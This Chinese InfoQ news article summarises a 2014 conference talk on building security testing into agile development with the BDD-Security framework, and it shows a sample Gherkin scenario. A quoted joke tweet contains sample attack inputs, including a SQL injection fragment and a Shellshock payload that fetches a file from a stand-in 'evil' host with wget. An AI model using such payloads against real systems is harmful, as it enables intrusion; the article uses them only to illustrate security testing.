在开发流程中嵌入安全测试

2014 年 12 月 19 日

ContinuumSecurity 创始人 Stephen de Vries,在 Velocity Europe 2014 大会上提出了持续且可视化的安全测试的观点。Stephen 表示,那些在敏捷开发过程中用于将 QA 嵌入整个开发流程的方法和工具都能同样的用于安全测试。 BDD-Security 是一个基于 JBehave ,且遵循 Given-When-Then 方法的安全测试框架。

传统的安全测试都遵循瀑布流程,也就是说安全团队总是在开发阶段的末期才参与进来,并且通常需要外部专家的帮助。在整个开发流程中,渗透测试总是被安排到很晚才做,使得为应用做安全防范的任务尤其困难且复杂。Stephen 认为安全测试完全可以变得像QA 一样:每个人都对安全问题负责;安全问题可以在更接近代码的层面考虑;安全测试完全可以嵌入一个持续集成的开发过程中。

为了论证QA 和安全测试只有量的区别而没有质的区别,Stephen 展示了 C. Maartmann-Moe Bill Sempf 分别发布的推特:

从 QA 的角度:

QA 工程师走进一家酒吧,点了一杯啤酒;点了 0 杯啤酒;点了 999999999 杯啤酒;点了一只蜥蜴;点了 -1 杯啤酒;点了一个 sfdeljknesv。

从安全的角度:

渗透测试工程师走进一家酒吧,点了一杯啤酒;点了”> 杯啤酒;点了’or 1=1- 杯啤酒;点了 () { :; }; wget -O /beers http://evil ; / 杯啤酒。

要将安全测试集成进敏捷开发流程中,首先需要满足的条件是:可见性,以便采取及时应对措施并修补;可测试性,以便于自动化,比仅仅简单的扫描更有价值。Stephen 发现 BDD 工具族就同时满足了可见性及可测试性,因此他开始着手构建 BDD-Security 安全测试框架。

由于 BDD-Security 是基于 JBehave 构建的,因此它使用 BDD 的标准说明语言 Gherkin 。一个 BDD-Security 测试场景如下:

复制代码
Scenario: Transmit authentication credentials over HTTPS
Meta: @id auth_https
Given the browser is configured to use an intercepting proxy
And the proxy logs are cleared
And the default user logs in with credentials from: users.table
And the HTTP request-response containing the default credentials is inspected
Then the protocol should be HTTPS

BDD-Security 用户故事的编写与通常做法不太一样。BDD-Security说明页面上写着:

本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立,这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中,有时甚至无需修改。

这也说明 BDD-Security 框架认为对许多应用来说,有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用——也就是导航逻辑中即可。当然,必要的时候你也完全可以编写自己的用户故事。

BDD-Security 依赖于第三方安全测试工具来执行具体的安全相关的行为,例如应用扫描。这些工具有 OWASP ZAP Nessus 等。

Stephen 还提到其它一些有类似功能的工具。如 Zap-WebDriver 就是一款更简单的工具,不喜欢 BDD 方式的人可以考虑采用它。 Gauntlt 与 BDD-Security 框架类似,同样支持 BDD,只是它使用的编程语言是 Ruby。 Mittn 用 Python 编写并且同样也使用 Gherkin。

查看英文原文 Embedding Security Testing in Development Workflow


感谢崔康对本文的审校。

给InfoQ 中文站投稿或者参与内容翻译工作,请邮件至 editors@cn.infoq.com 。也欢迎大家通过新浪微博( @InfoQ )或者腾讯微博( @InfoQ )关注我们,并与我们的编辑和其他读者朋友交流。

2014 年 12 月 19 日 05:421873

评论

发布
暂无评论
发现更多内容

《操作系统概述》-第六版

计算机与AI

操作系统

第一周作业

极客大学 极客大学架构师训练营

Defi系统APP开发|Defi软件开发

开發I852946OIIO

系统开发

mysql的这些坑你踩过吗?快来看看怎么优化mysql?

比伯

Java 编程 架构 面试 计算机

ETV全球熵APP系统开发|ETV全球熵软件开发

开發I852946OIIO

系统开发 现成系统

Java程序员做外包,10个月收入40万

Crud的程序员

Java 学习 程序员 外包

只能用分布式锁,也能搞定每秒上千订单的高并发优化?

Java架构师迁哥

从战略到战略决策

Alan

战略管理 使命 愿景 战略思考 MVO

价值、产业、数据加密,区块链如何助力互联网升级?

CECBC区块链专委会

区块链 互联网

看区块链如何打通信息壁垒,盘活万亿级”积分”市场

CECBC区块链专委会

区块链 信息

HTTP协议概述

落日楼台H

https HTTP 协议 HTTP2.0 HTTP3.0

线程池的优点及其原理,代码实现线程池。简单、明了。

Linux服务器开发

网络编程 线程池 后端开发 Linux服务器 web服务器

区块链产业下的“非遗”突围战:商业化和手艺人发掘

CECBC区块链专委会

区块链 非遗

训练营第七周总结

大脸猫

极客大学架构师训练营

【得物技术】搜索引擎技术简介

得物技术

搜索引擎 技术 算法 排序 搜索

可参考才是有价值的,架构设计的技改之路从来都不容易

互联网应用架构

架构设计

一周信创舆情观察(11.23~11.29)

统小信uos

智能与影像的强耦合:华为Mate 40系列的视觉探索

脑极体

腾讯 WXG 后台开发工程师对 MySQL 索引知识点总结

Java架构师迁哥

第二周作业

Geek_b9053c

依赖倒置原则

架构词典: 复盘

lidaobing

架构 复盘

每周学点TARS——服务自定义命令

TARS基金会

c++ DevOps 后端 TARS

我对业务方提出需求的态度

boshi

随笔杂谈 需求落地

拆解增长黑客之知识篇

丁一

产品 运营 增长

京东云的云原生理念及Serverless最佳实践

lidaobing

Kafka 和 RocketMQ 之性能对比

丁威

kafka 源码分析 RocketMQ 中间件 性能分析

智慧公安大数据分析平台开发解决方案

t13823115967

大数据技术 大数据平台 智慧公安

LeetCode题解:52. N皇后 II,回溯+哈希表,JavaScript,详细注释

Lee Chen

算法 LeetCode 前端进阶训练营

区块链中的保险行业

13828808769

区块链技术应用开发 保险理赔

两年竞业禁止、没有赔偿的CTO | 法庭上的CTO(1)

赵新龙

CTO 竞业禁止 试用期

公安警务大数据可视化平台开发建设

t13823115967

大数据 大数据平台 智慧公安

在开发流程中嵌入安全测试-InfoQ